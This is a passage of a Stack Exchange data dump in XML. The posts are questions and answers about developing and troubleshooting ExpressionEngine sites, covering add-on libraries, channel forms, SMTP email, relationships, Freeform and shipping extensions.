  <row Id="21491" PostTypeId="1" AcceptedAnswerId="21498" CreationDate="2014-04-26T19:30:20.123" Score="4" ViewCount="163" Body="&lt;p&gt;I'm just getting acquainted with Add-on development beyond basic plugins and I'm not exactly sure the proper way to organize my files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a base Module file, mod.xxxx.php that has a handful of methods within. I am now realizing I need an extension as well to hook into a few base EE hooks. Within the extension, I want to use a few helper methods from my module but I'm not sure the proper way to share them between the Module and Extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (class_exists('Modulename') === false)&#xA;{&#xA;    require_once PATH_THIRD.'modulename/mod.modulename.php';&#xA;}&#xA;$modulename = new Modulename();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then called&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$modulename-&amp;gt;modulemethod($variable);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the extension, but it's not returning the right type, rather an empty array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should these &quot;helper&quot; functions really be moved into a helper file and then loaded into both the extension and the module using the load-&gt;helper function of CI?&lt;/p&gt;&#xA;" OwnerUserId="24" LastEditorUserId="24" LastEditDate="2014-04-26T22:19:29.367" LastActivityDate="2014-04-27T12:44:36.520" Title="Correct way to share functions/methods between Module and Extension" Tags="|module|extension|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21492" PostTypeId="1" CreationDate="2014-04-26T20:02:55.800" Score="0" ViewCount="55" Body="&lt;p&gt;I'm wondering if there is a way to change a users/registered members group based on them performing an action?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment members register into a default group. If that member submits a specific entry via a channel form I would like to change their member group. Is there a way to automate this? Plugin or otherwise?&lt;/p&gt;&#xA;" OwnerUserId="542" LastActivityDate="2014-08-25T09:53:56.783" Title="Any way/plugin to automatically change a members group based on an action?" Tags="|members|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21493" PostTypeId="2" ParentId="21490" CreationDate="2014-04-26T20:59:31.070" Score="1" Body="&lt;p&gt;Use the &lt;code&gt;{exp:rating:entries}&lt;/code&gt; tag and sort by date. I'm not sure how you'd filter out those that don't have at least one vote though.&lt;/p&gt;&#xA;" OwnerUserId="982" LastActivityDate="2014-04-26T20:59:31.070" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21494" PostTypeId="2" ParentId="21492" CreationDate="2014-04-26T23:41:06.433" Score="1" Body="&lt;p&gt;I'm not aware of anything available publicly at this time, but I think a custom extension could be built to accommodate using the following hook:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/module/channel_form/index.html#channel-form-submit-entry-end&quot; rel=&quot;nofollow&quot;&gt;Channel Form Hook {submit_entry_end}&lt;/a&gt; - triggered after a channel form is submitted&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Requires EE 2.7.0+&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="692" LastActivityDate="2014-04-26T23:41:06.433" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21495" PostTypeId="1" AcceptedAnswerId="21526" CreationDate="2014-04-27T02:04:40.460" Score="1" ViewCount="387" Body="&lt;p&gt;I'm trying to prevent users from changing statuses via the {exp:channel:form} tag, but there does not seem to be a built-in way to actually validate the status on form submission.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried using the status parameter like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form channel=&quot;my_channel&quot; author_only=&quot;yes&quot; status=&quot;Pending Approval&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have also tried using the validation rules parameter, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form channel=&quot;my_channel&quot; author_only=&quot;yes&quot; rules:status=&quot;matches[Pending Approval]&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have also tried the above while explicitly passing the status in an html input tag, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form channel=&quot;my_channel&quot; author_only=&quot;yes&quot; rules:status=&quot;matches[Pending Approval]&quot;}&#xA;     &amp;lt;input type=&quot;hidden&quot; name=&quot;status&quot; value=&quot;Pending Approval&quot;&amp;gt;&#xA;     &amp;lt;input type=&quot;submit&quot; value=&quot;submit&quot;&amp;gt;&#xA;{/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In none of these cases is the status protected, and users can always change the status with a simple browser edit. I am aware that I can prevent member groups from accessing certain statuses via the control panel, however I do actually want the member group to be able to select the status but only at a certain point in time and not before the entry has been approved by an administrator. Am I overlooking something with respect to a native EE way to validate statuses on channel form submission?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is no native way to protect a status when using channel:form, I am thinking there may be a 3rd-party extension that would use one of the form hooks and actually do status validation? If one does not exist, could advice be given as to which channel form hook would be most appropriate to use?&lt;/p&gt;&#xA;" OwnerUserId="2842" LastEditorUserId="2842" LastEditDate="2014-04-28T23:51:32.597" LastActivityDate="2014-04-29T01:30:43.510" Title="Is there a way to validate statuses when using channel forms?" Tags="|channel-form|status|validation|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="21496" PostTypeId="2" ParentId="21486" CreationDate="2014-04-27T04:57:17.673" Score="0" Body="&lt;p&gt;Have you tried Better Workflow: &lt;a href=&quot;http://devot-ee.com/add-ons/better-workflow&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/better-workflow&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="982" LastActivityDate="2014-04-27T04:57:17.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21497" PostTypeId="2" ParentId="20642" CreationDate="2014-04-27T12:22:07.897" Score="0" Body="&lt;p&gt;Actually the solution of the problem with Playa upgrade from previous version to 4.4.5  and DB error when you try to configure the field type: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/a/13711/993&quot;&gt;is described here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Same answer I've got from Pixel &amp;amp; Tonic support.&lt;/p&gt;&#xA;" OwnerUserId="993" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2014-04-27T12:22:07.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21498" PostTypeId="2" ParentId="21491" CreationDate="2014-04-27T12:44:36.520" Score="4" Body="&lt;p&gt;You should create a &lt;em&gt;library&lt;/em&gt;, which is just a PHP class stored in &lt;code&gt;system/expressionengine/third_party/your_addon_name/libraries/&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;class Your_library {&#xA;  public function do_something()&#xA;  {&#xA;     return 'foo';&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in your module / extension, you'd be able to do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;load-&amp;gt;library('your_library');&#xA;&#xA;// prints out foo&#xA;echo ee()-&amp;gt;your_library-&amp;gt;do_something();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the preferred way to share code between the various add-on types.&lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2014-04-27T12:44:36.520" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21499" PostTypeId="1" CreationDate="2014-04-27T16:47:13.890" Score="1" ViewCount="337" Body="&lt;p&gt;So i have EE sending SMTP mail via a remote server which was all working fine in EE 2.5.5 but now i have upgraded to 2.7.3 it's not having it at all!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error i get is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An Error Was Encountered&#xA;Unable to send email at this time.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;220 brightmail.redacted.local ESMTP Symantec Messaging Gateway &#xA;&#xA;hello: 250-brightmail.redacted.local says EHLO to 111.111.111.111:41353&#xA;250-ENHANCEDSTATUSCODES&#xA;250-SIZE 15728640&#xA;250-8BITMIME&#xA;250 PIPELINING&#xA;Failed to send AUTH LOGIN command. Error: 500 5.5.2 unrecognized command &#xA;Unable to send email using PHP SMTP. Your server might not be configured to send mail using this method.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have got this stuff already configured:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['email_newline']    = &quot;\r\n&quot;;&#xA;$config['email_crlf']       = &quot;\r\n&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And nothing else i try has any effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be grand!&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2014-04-27T19:05:09.483" Title="Cannot sent SMTP email after updating to EE 2.7.3 from 2.5.5" Tags="|email|smtp|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="21500" PostTypeId="2" ParentId="21499" CreationDate="2014-04-27T19:05:09.483" Score="2" Body="&lt;p&gt;Instead of using SMTP with EE, I'd recommend using Escort (&lt;a href=&quot;http://devot-ee.com/add-ons/escort&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/escort&lt;/a&gt;) with a third-party 'transactional' email service like Mandrill (&lt;a href=&quot;http://mandrill.com&quot; rel=&quot;nofollow&quot;&gt;http://mandrill.com&lt;/a&gt;). We've also had issues with SMTP and PHP mail in EE (particularly Gmail deliverability), which the third-party system solved.  Escort is super-easy to set up, and you get the benefits of the third-party system (better deliverability, batch sending, reporting, etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone else may be able to specifically address your issues with SMTP, but I still think it's worth considering the third-party route.&lt;/p&gt;&#xA;" OwnerUserId="1151" LastActivityDate="2014-04-27T19:05:09.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21501" PostTypeId="1" AcceptedAnswerId="21502" CreationDate="2014-04-28T00:18:23.290" Score="0" ViewCount="72" Body="&lt;p&gt;In the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/comment/#comment-submission-form&quot; rel=&quot;nofollow&quot;&gt;comment form&lt;/a&gt;, I can have a checkbox that allows me to tell EE to notify me of follow up comments&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:comment:form channel=&quot;news&quot; preview=&quot;channel/preview&quot;}&#xA;    ...&#xA;    &amp;lt;textarea name=&quot;comment&quot; cols=&quot;70&quot; rows=&quot;10&quot;&amp;gt;{comment}&amp;lt;/textarea&amp;gt;&#xA;    ...&#xA;    &amp;lt;label&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;notify_me&quot; value=&quot;yes&quot; {notify_me} /&amp;gt; Notify me of follow-up comments?&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;    ...&#xA;{/exp:comment:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want the users to be able to toggle this feature since some of them want this feature disabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I tried a solution. I unchecked the checkbox and submit with a blank comment textarea field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when doing that I am shown an EE error that tells me that the comment field should not be blank.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, how do I unsubscribe?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2014-09-30T14:19:04.507" Title="Unsubscribing from follow up comments" Tags="|comment-form|subscriptions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21502" PostTypeId="2" ParentId="21501" CreationDate="2014-04-28T07:32:20.680" Score="1" Body="&lt;p&gt;With the &lt;strong&gt;Comment Notification Links Tag&lt;/strong&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/comment/#comment-notification-links-tag&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://ellislab.com/expressionengine/user-guide/add-ons/comment/#comment-notification-links-tag&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;{exp:comment:notification_links}&lt;/code&gt; tag can be [used] to allow members to subscribe to an entry without commenting via a simple link. This tag may only be used on a single entry page.&lt;br&gt;&#xA;(edit: or provide parameters for entry_id or url_title to help the tag find the entry)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:comment:notification_links entry_id=&quot;x&quot;}&#xA;        {if subscribed}&#xA;                &amp;lt;h5&amp;gt;&amp;lt;a href=&quot;{unsubscribe_link}&quot;&amp;gt;Unsubscribe to comment notification for this entry.&amp;lt;/a&amp;gt;&amp;lt;/h5&amp;gt;&#xA;        {if:else}&#xA;                &amp;lt;h5&amp;gt;&amp;lt;a href=&quot;{subscribe_link}&quot;&amp;gt;Subscribe to comment notification for this entry.&amp;lt;/a&amp;gt;&amp;lt;/h5&amp;gt;&#xA;        {/if}&#xA;{/exp:comment:notification_links}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit:&lt;/strong&gt; if you want authors to be able to unsubscribe, make sure that&lt;br&gt;&#xA;&quot;notification of authors&quot; in channel settings for a channel is set to OFF.&lt;br&gt;&#xA;Authors then need to subscribe themselves (or with a custom extension)&lt;br&gt;&#xA;via: &lt;a href=&quot;https://expressionengine.stackexchange.com/a/6393/155&quot;&gt;https://expressionengine.stackexchange.com/a/6393/155&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="155" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2014-09-30T14:19:04.507" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21503" PostTypeId="2" ParentId="21448" CreationDate="2014-04-28T07:49:23.137" Score="0" Body="&lt;p&gt;For a link list, you can query the database directly for title and url_title&lt;br&gt;&#xA;(add some extra criteria to control returned data)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;&#xA;  SELECT title, url_title, view_count_one &#xA;  FROM exp_channel_titles&#xA;  WHERE status != 'closed'&#xA;    AND entry_date &amp;gt; {current_time} - 2592000 /* 30 * 24 * 60 * 60 = 30 days */&#xA;    /* AND channel_id = xxx */&#xA;    /* AND view_count_one &amp;gt; 0 */&#xA;  ORDER BY view_count_one DESC&#xA;  LIMIT 7&#xA;&quot;}&#xA;  &amp;lt;a href=&quot;/news/entry/{urltitle}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt; ({view_count_one})&amp;lt;br&amp;gt;&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want full-fledged channel entries output (e.g. custom fields etc.),&lt;br&gt;&#xA;you can select just the entry_id's and pass the result to an embed.&lt;br&gt;&#xA;The zero is just a quick way to close the series. e.g. &lt;code&gt;12, 34, 0&lt;/code&gt;&lt;br&gt;&#xA;otherwise you'ld have to use &lt;code&gt;{entry_id},&lt;/code&gt; with &lt;code&gt;backspace=1&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;group/entriestemplate&quot; which=&quot;{exp:query ...}{entry_id},{/exp:query} 0&quot;}&#xA;&#xA;&amp;lt;!-- embed --&amp;gt;&#xA;{exp:channel:entries entry_id=&quot;{embed:which}&quot; ...}&#xA;...&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="155" LastEditorUserId="155" LastEditDate="2014-04-28T08:06:08.413" LastActivityDate="2014-04-28T08:06:08.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21504" PostTypeId="2" ParentId="20757" CreationDate="2014-04-28T08:35:34.880" Score="1" Body="&lt;p&gt;Can you provide a bit more information to what you are doing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g. are you creating an add-on and calling form open? Or are you using a template tag that shows a form? The issue is (if you look at line 345 form_helper) that you/it is trying to pass an array in a $key or $val to output a form_select option=&quot;&quot; html tag.&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2014-04-28T08:35:34.880" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21505" PostTypeId="1" AcceptedAnswerId="21507" CreationDate="2014-04-28T09:00:44.467" Score="1" ViewCount="87" Body="&lt;p&gt;I have a relationship field in a page with the name &lt;code&gt;pro_related_program&lt;/code&gt;.  Before the update from 2.5.5 to 2.7.3 this code snippet (as part of a larger template that loads a single channel entry):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{related_entries id=&quot;pro_related_program&quot;}&#xA; &amp;lt;div id=&quot;midLeftInset&quot;&amp;gt;            &#xA;&amp;lt;p&amp;gt;This session is part of a larger series.  For more information see &amp;lt;a href=&quot;{title_permalink=&quot;programs/catalogue&quot;}&quot; title=&quot;TDLC: {title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;{/related_entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;would result in this html for a specific page on my website:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;midLeftInset&quot;&amp;gt;            &#xA;&amp;lt;p&amp;gt;This session is part of a larger series.  For more information see &amp;lt;a href=&quot;https://www.jointokyo.org/en/programs/catalogue/DRM2011&quot; title=&quot;TDLC: Disaster Risk Management in East Asia and the Pacific - 2011 Series&quot;&amp;gt;Disaster Risk Management in East Asia and the Pacific - 2011 Series&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the upgrade modified the code template snippet to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{pro_related_program}&#xA; &amp;lt;div id=&quot;midLeftInset&quot;&amp;gt;            &#xA;&amp;lt;p&amp;gt;This session is part of a larger series.  For more information see &amp;lt;a href=&quot;{pro_related_program:title_permalink=&quot;programs/catalogue&quot;}&quot; title=&quot;TDLC: {pro_related_program:title}&quot;&amp;gt;{pro_related_program:title}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;{/pro_related_program}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which gives me back nothing.  If I add a &lt;code&gt;no_results&lt;/code&gt; clause in there it gives me the contents of the &lt;code&gt;no_results&lt;/code&gt; clause.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any ideas as to what might be causing this?  What I coulddo to debug it?&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2015-05-18T09:01:00.200" Title="No results for a child relationship tag after upgrading to 2.7.3" Tags="|ee2|relationships|2.7.3|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21506" PostTypeId="1" CreationDate="2014-04-28T10:31:49.930" Score="1" ViewCount="444" Body="&lt;p&gt;We have a form on a page, one of the feilds on the form is hidden and contains the following in the &quot;Default incoming data&quot; option field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:member:custom_profile_data}&#xA; {exp:channel:entries dynamic=&quot;no&quot; channel=&quot;schools&quot;}&#xA;   {if &quot;{member_school}&quot; == &quot;{school_code}&quot;}&#xA;     {title}&#xA;   {/if}&#xA; {/exp:channel:entries}&#xA; {/exp:member:custom_profile_data}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code produces the correct results when pasted directly into the template, but when used with the freeform field it produces nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I'm checking that if the member_school field (From the member's profile) matches school_code (from the schools channel), then output the title of the schools article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea why this isn't working? Is custom profile data not supported by freeforms?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the composer code we're using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:composer form_id=&quot;{embed:form_id}&quot; return=&quot;{segment_1}/{segment_2}/thanks&quot;}&#xA;&amp;lt;div class=&quot;ff_composer&quot;&amp;gt;&#xA;{composer:page}&#xA;    {composer:rows}&#xA;            &amp;lt;div class=&quot;line&quot;&amp;gt;&#xA;        {composer:columns}&#xA;                &amp;lt;div class=&quot;unit size1of{composer:column_total}&quot;&amp;gt;&#xA;            {composer:fields}&#xA;                {if composer:field_label}&#xA;                        &amp;lt;label {if composer:field_name != ''}&#xA;                            for=&quot;freeform_{composer:field_name}&quot;&#xA;                            {/if}&amp;gt;&#xA;                            {composer:field_label}&#xA;                            {if composer:field_required}&#xA;                            &amp;lt;span class=&quot;required&quot;&amp;gt;*&amp;lt;/span&amp;gt;&#xA;                            {/if}&#xA;                        &amp;lt;/label&amp;gt;&#xA;                {/if}&#xA;                {if composer:field_output}&#xA;                    {if composer:field_type == 'nonfield_title'}&#xA;                        &amp;lt;h2&amp;gt;{composer:field_output}&amp;lt;/h2&amp;gt;&#xA;                    {if:else}&#xA;                        {if composer:field_name AND composer:field_required}&#xA;                            {freeform:field:{composer:field_name} attr:required=&quot;required&quot; attr:class=&quot;req&quot;}&#xA;                        {if:else}&#xA;                            &amp;lt;p&amp;gt;{composer:field_output}&#xA;                            {if freeform:description:{composer:field_name}} &#xA;                            &amp;lt;span class=&quot;instruction&quot;&amp;gt;{freeform:description:{composer:field_name}} &amp;lt;/span&amp;gt;&#xA;                            {/if}&#xA;                            &amp;lt;/p&amp;gt;&#xA;                        {/if}&#xA;                    {/if}&#xA;                {/if}&#xA;            {/composer:fields}&#xA;                &amp;lt;/div&amp;gt;&#xA;        {/composer:columns}&#xA;            &amp;lt;/div&amp;gt;&#xA;    {/composer:rows}&#xA;{/composer:page}&#xA;&amp;lt;/div&amp;gt;&#xA;{/exp:freeform:composer}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After a bit more digging around:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seems to output the member_school variable fine if I enter {exp:member:custom_profile_data}{member_school}{/exp:member:custom_profile_data} but it won't output the information from &quot;schools&quot; channel. If i just have {exp:channel:entries dynamic=&quot;no&quot; channel=&quot;schools&quot;}{title}{/exp:channel:entries} it outputs the current page's title instead of the school titles…&lt;/p&gt;&#xA;" OwnerUserId="1014" LastEditorUserId="1014" LastEditDate="2014-04-28T13:33:08.767" LastActivityDate="2014-11-26T09:21:52.987" Title="Freeform hidden field and {exp:member:custom_profile_data}" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21507" PostTypeId="2" ParentId="21505" CreationDate="2014-04-28T13:05:38.010" Score="1" Body="&lt;p&gt;As Derek Hogue has suggested and from my own experience, I think this is likely an issue of a missed status parameter in the relationship tag pair. Also it also bears mentioning that the status parameter in relationship tag pairs at least up until the current EE version of 2.8.1 &lt;strong&gt;is case sensitive&lt;/strong&gt;, which is different from the channel:entries status parameter behavior which is &lt;strong&gt;not&lt;/strong&gt; case sensitive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To test this, you could try something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;your_channel&quot; status=&quot;not closed&quot;}&#xA;&#xA;{pro_related_program status=&quot;not closed&quot;}&#xA;{pro_related_program:title}&#xA;{/pro_related_program}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2842" LastActivityDate="2014-04-28T13:05:38.010" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21508" PostTypeId="1" CreationDate="2014-04-28T13:08:37.663" Score="0" ViewCount="178" Body="&lt;p&gt;I'm using Composer to create my form and the Channel Entry Fieldtype (&lt;a href=&quot;http://www.solspace.com/docs/freeform/channel_entry_fieldtype&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/freeform/channel_entry_fieldtype&lt;/a&gt;) to output it. Works great and is so simple. But a spambot just made it through the Captcha field I used (the default EE one), so I'm wondering what spam prevention you guys can recommend?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also used HonEEpot (&lt;a href=&quot;http://devot-ee.com/add-ons/hon-ee-pot-captcha&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/hon-ee-pot-captcha&lt;/a&gt;) with success, but using the channel entry fieldtype, I'm not sure how to insert that into my form.&lt;/p&gt;&#xA;" OwnerUserId="1327" LastActivityDate="2014-05-01T13:53:34.500" Title="Freeform Composer spam prevention recommendations?" Tags="|solspace-freeform|solspace|spam|captcha|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21510" PostTypeId="1" AcceptedAnswerId="21515" CreationDate="2014-04-28T15:43:50.643" Score="2" ViewCount="70" Body="&lt;p&gt;the search field in EE's dashboard doesn't seem to find anything. what is this field supposed to search?&lt;/p&gt;&#xA;" OwnerUserId="1962" LastActivityDate="2014-04-28T21:17:53.917" Title="EE control panel dashboard search field" Tags="|control-panel|search|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21511" PostTypeId="2" ParentId="21010" CreationDate="2014-04-28T16:58:30.330" Score="1" Body="&lt;p&gt;This was evidently a bug in EE and will be patched in the next version (past 2.8.1). For now, the solution is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In system/expressionengine/libraries/Filemanager.php around line 508:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (($force_master_dim == 'height' &amp;amp;&amp;amp; $prefs['height'] &amp;lt; $prefs['max_height']) OR&#xA;                ($force_master_dim == 'width' &amp;amp;&amp;amp; $prefs['width'] &amp;lt; $prefs['max_width']) OR&#xA;                ($force_master_dim == FALSE &amp;amp;&amp;amp; $prefs['width'] &amp;lt; $prefs['max_width']) OR&#xA;                ($force_master_dim == FALSE &amp;amp;&amp;amp; $prefs['height'] &amp;lt; $prefs['max_height'])) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Instead of &amp;lt; it needs to be &amp;lt;= a la:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (($force_master_dim == 'height' &amp;amp;&amp;amp; $prefs['height'] &amp;lt;= $prefs['max_height']) OR&#xA;                ($force_master_dim == 'width' &amp;amp;&amp;amp; $prefs['width'] &amp;lt;= $prefs['max_width']) OR&#xA;                ($force_master_dim == FALSE &amp;amp;&amp;amp; $prefs['width'] &amp;lt;= $prefs['max_width']) OR&#xA;                ($force_master_dim == FALSE &amp;amp;&amp;amp; $prefs['height'] &amp;lt;= $prefs['max_height'])) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Retrieved from &lt;a href=&quot;https://support.ellislab.com/bugs/detail/20292&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/20292&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1327" LastActivityDate="2014-04-28T16:58:30.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21512" PostTypeId="1" CreationDate="2014-04-28T18:22:03.253" Score="1" ViewCount="172" Body="&lt;p&gt;I am using Expresso Store in my sitewhich is built using ExpressionEngine.&#xA;I am also using Fedex Shipping and UPS Shipping extensions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have noticed an issue in our Fedex Shipping Extension.&#xA;When some of our customers order products, then the Fedex Shipping cost is calculated and displayed wrongly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a very severe issue and we are receiving a lot of customer complaints due to this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our From Address:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Place - select 'Massachusetts' (US)&#xA;Zipcode - 02339&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shipping Address&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Place -'nevada'&#xA;Zip-code - 89423&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following shipping methods are displayed in our site during order process:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; Local Pickup - $0.00&#xA; Use Your Own Shipping Account - $0.00&#xA; Contact Me to Discuss Shipping Options/Cost - $0.00&#xA; Fedex Priority Overnight - $81.68&#xA; Fedex Standard Overnight - $207.30&#xA; FedEx 2 Day - $146.91&#xA; FedEx Express Saver - $109.01&#xA; FedEx Ground - $34.91&#xA; UPS Domestic Ground - $35.08&#xA; UPS Domestic 3 Day Select - $98.73&#xA; UPS Domestic Second Day Air AM - $168.78&#xA; UPS Domestic Second 